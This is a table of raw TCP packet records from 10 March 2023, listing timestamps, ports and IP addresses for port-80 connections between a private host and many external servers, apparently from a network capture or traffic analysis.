Mar 10, 2023 07:54:51.399260044 CET	80	49896	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:51.399370909 CET	80	49896	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:51.399422884 CET	80	49896	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:51.399431944 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:51.399521112 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:51.438473940 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.543489933 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:51.568056107 CET	49896	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:51.583265066 CET	80	49901	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:51.583648920 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.612004995 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.636296988 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.637586117 CET	49902	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:51.639053106 CET	80	49900	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:51.639204025 CET	49900	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:51.655744076 CET	80	49902	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:51.655869961 CET	49902	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:51.684326887 CET	80	49858	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:51.684458017 CET	49858	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:51.705883980 CET	49902	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:51.706244946 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.706353903 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.706418037 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.706478119 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.706499100 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.706537962 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.706563950 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.706563950 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.706654072 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.723798037 CET	80	49902	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:51.728457928 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:51.728538036 CET	80	49902	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:51.728610039 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:51.729028940 CET	49902	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:51.753772020 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:51.780510902 CET	80	49901	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:51.780582905 CET	80	49901	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:51.780613899 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.780663967 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.809902906 CET	49901	80	192.168.2.6	52.86.6.113
Mar 10, 2023 07:54:51.835117102 CET	80	49896	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:51.897031069 CET	80	49891	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:51.897135019 CET	49891	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:51.943842888 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.943939924 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.944005013 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.944041014 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.944097996 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.944097996 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.944235086 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.944325924 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.944427013 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:51.944506884 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:51.954865932 CET	80	49901	52.86.6.113	192.168.2.6
Mar 10, 2023 07:54:52.078639984 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:52.079055071 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.098115921 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.099798918 CET	80	49904	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:52.099891901 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.101300001 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.120781898 CET	49906	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:52.121043921 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:52.122251987 CET	80	49904	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:52.122622013 CET	80	49904	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:52.122813940 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.137674093 CET	80	49905	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:52.137901068 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.148977041 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.151935101 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.151976109 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.152012110 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.152050018 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.152101040 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.152127981 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.152193069 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.152193069 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.152369976 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.152432919 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.153681993 CET	49908	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.154030085 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.155023098 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.155822039 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.171349049 CET	80	49908	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:52.171551943 CET	49908	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.175523043 CET	80	49904	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:52.175673962 CET	49904	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:52.178992033 CET	49908	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.184401035 CET	80	49909	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:52.185031891 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.186512947 CET	80	49910	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:52.186634064 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.187786102 CET	80	49905	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:52.188339949 CET	80	49905	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:52.188472033 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.195877075 CET	80	49908	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:52.206989050 CET	80	49908	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:52.207133055 CET	49908	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.222965956 CET	80	49906	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:52.223088980 CET	49906	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:52.292068005 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.292069912 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.313318014 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.313334942 CET	49906	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:52.321576118 CET	80	49909	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:52.322484016 CET	80	49909	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:52.322726011 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.322940111 CET	80	49910	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:52.323640108 CET	80	49910	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:52.324035883 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.346455097 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346498966 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346529961 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346559048 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346590996 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346621990 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346656084 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.346698046 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.346764088 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.351555109 CET	80	49905	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:52.352288008 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:52.357181072 CET	49874	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:52.373850107 CET	80	49903	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:52.375757933 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.375888109 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:52.405966043 CET	80	49909	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:52.406156063 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:52.411966085 CET	80	49906	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:52.413424969 CET	80	49907	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:52.413943052 CET	80	49906	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:52.414104939 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:52.414107084 CET	49906	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:52.465789080 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.465842962 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:52.498171091 CET	80	49910	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:52.498353004 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:52.535932064 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:52.544413090 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544461012 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544492960 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544524908 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544555902 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544586897 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544625044 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544652939 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.544663906 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.544699907 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.544725895 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.557161093 CET	80	49863	3.65.101.129	192.168.2.6
Mar 10, 2023 07:54:52.557265043 CET	49863	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:54:52.654153109 CET	49881	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:52.752370119 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752429962 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752458096 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752480030 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752511978 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752531052 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752532005 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752583027 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752585888 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752633095 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752638102 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752681971 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752686977 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752732038 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752737999 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752782106 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.752784014 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.752830982 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.760365963 CET	80	49903	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:52.761188030 CET	80	49903	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:52.761277914 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:52.795345068 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:52.795612097 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:52.797203064 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:52.797322035 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.797416925 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:52.813898087 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:52.814111948 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.817121029 CET	80	49912	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:52.817379951 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:52.825378895 CET	80	49907	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:52.827153921 CET	80	49907	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:52.828958035 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:52.841598034 CET	49883	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:52.853032112 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:52.853111029 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:52.869615078 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:52.872698069 CET	80	49912	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:52.872725964 CET	80	49912	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:52.872891903 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:52.954133987 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:52.982201099 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:52.989147902 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989196062 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989228964 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989263058 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989295959 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989326000 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:52.989396095 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:52.989471912 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:53.000497103 CET	49913	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:53.001909971 CET	80	49912	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:53.002197981 CET	49912	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:53.085026026 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:53.085057020 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:53.085160971 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:53.085218906 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:53.087846041 CET	49914	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:53.091598034 CET	80	49903	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:53.091799974 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:53.108985901 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.120459080 CET	80	49914	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:53.120637894 CET	49914	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:53.144881964 CET	80	49850	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:53.145891905 CET	49850	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:53.146061897 CET	80	49915	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:53.146226883 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.198950052 CET	49916	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.199006081 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:53.199907064 CET	49914	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:53.200659990 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.215751886 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:53.232391119 CET	80	49914	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:53.233414888 CET	80	49914	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:53.233489990 CET	49914	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:53.237473011 CET	80	49915	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:53.245002985 CET	80	49907	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:53.245105982 CET	49907	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:53.248430967 CET	49890	80	192.168.2.6	185.15.129.58
Mar 10, 2023 07:54:53.250036001 CET	80	49915	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:53.250184059 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.279124022 CET	49886	80	192.168.2.6	96.91.204.114
Mar 10, 2023 07:54:53.321899891 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:53.321940899 CET	80	49911	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:53.322104931 CET	49911	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:53.343717098 CET	80	49916	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.343930960 CET	49916	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.406253099 CET	80	49909	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:53.406397104 CET	49909	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:53.407957077 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:53.408324003 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:53.436239004 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.441968918 CET	49916	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.484484911 CET	80	49915	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:53.485908985 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:53.586421967 CET	80	49916	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.586467981 CET	80	49916	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.586589098 CET	49916	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.635107994 CET	49916	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.668054104 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:53.670814037 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:53.686074018 CET	49919	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.779650927 CET	80	49916	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.796103954 CET	49920	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:53.796457052 CET	80	49918	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:53.796684027 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:53.831304073 CET	80	49919	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.831902027 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:53.831984997 CET	49919	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.834363937 CET	49922	80	192.168.2.6	104.21.73.182
Mar 10, 2023 07:54:53.834424019 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:53.851059914 CET	80	49922	104.21.73.182	192.168.2.6
Mar 10, 2023 07:54:53.851177931 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:53.851223946 CET	49922	80	192.168.2.6	104.21.73.182
Mar 10, 2023 07:54:53.851277113 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:53.852097034 CET	49922	80	192.168.2.6	104.21.73.182
Mar 10, 2023 07:54:53.852627039 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:53.853440046 CET	49919	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:53.868725061 CET	80	49922	104.21.73.182	192.168.2.6
Mar 10, 2023 07:54:53.869368076 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:53.896064043 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:53.896202087 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:53.896650076 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:53.900335073 CET	80	49920	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:53.900482893 CET	49920	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:53.900872946 CET	49920	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:53.916017056 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:53.925673962 CET	80	49922	104.21.73.182	192.168.2.6
Mar 10, 2023 07:54:53.925738096 CET	80	49922	104.21.73.182	192.168.2.6
Mar 10, 2023 07:54:53.925770998 CET	80	49922	104.21.73.182	192.168.2.6
Mar 10, 2023 07:54:53.925807953 CET	49922	80	192.168.2.6	104.21.73.182
Mar 10, 2023 07:54:53.925851107 CET	49922	80	192.168.2.6	104.21.73.182
Mar 10, 2023 07:54:53.957353115 CET	80	49918	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:53.962593079 CET	80	49918	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:53.962780952 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:53.997952938 CET	80	49919	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.997997046 CET	80	49919	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:53.998085022 CET	49919	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:54.004825115 CET	80	49920	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:54.004853964 CET	80	49920	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:54.005004883 CET	49920	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:54.032010078 CET	49920	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:54.033016920 CET	49919	80	192.168.2.6	34.205.242.146
Mar 10, 2023 07:54:54.033067942 CET	80	49923	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:54.033212900 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:54.126908064 CET	80	49870	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:54.127108097 CET	49870	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:54.136184931 CET	80	49920	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:54.140599966 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:54.164951086 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:54.177242994 CET	80	49919	34.205.242.146	192.168.2.6
Mar 10, 2023 07:54:54.209960938 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.272994995 CET	80	49918	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:54.273633957 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.273663998 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.273684025 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.273705959 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.273710012 CET	49918	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:54.273755074 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.273797035 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.282006025 CET	80	49923	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:54.282579899 CET	80	49923	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:54.282660961 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:54.305502892 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.322504044 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.322712898 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.323273897 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.340091944 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.352248907 CET	80	49905	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:54.352370977 CET	49905	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:54.392715931 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:54.412229061 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412271976 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412298918 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412321091 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412342072 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412343025 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412343025 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412363052 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412370920 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412384033 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412401915 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412409067 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412422895 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412436008 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412441969 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412466049 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.412466049 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.412516117 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.413083076 CET	80	49921	104.21.66.46	192.168.2.6
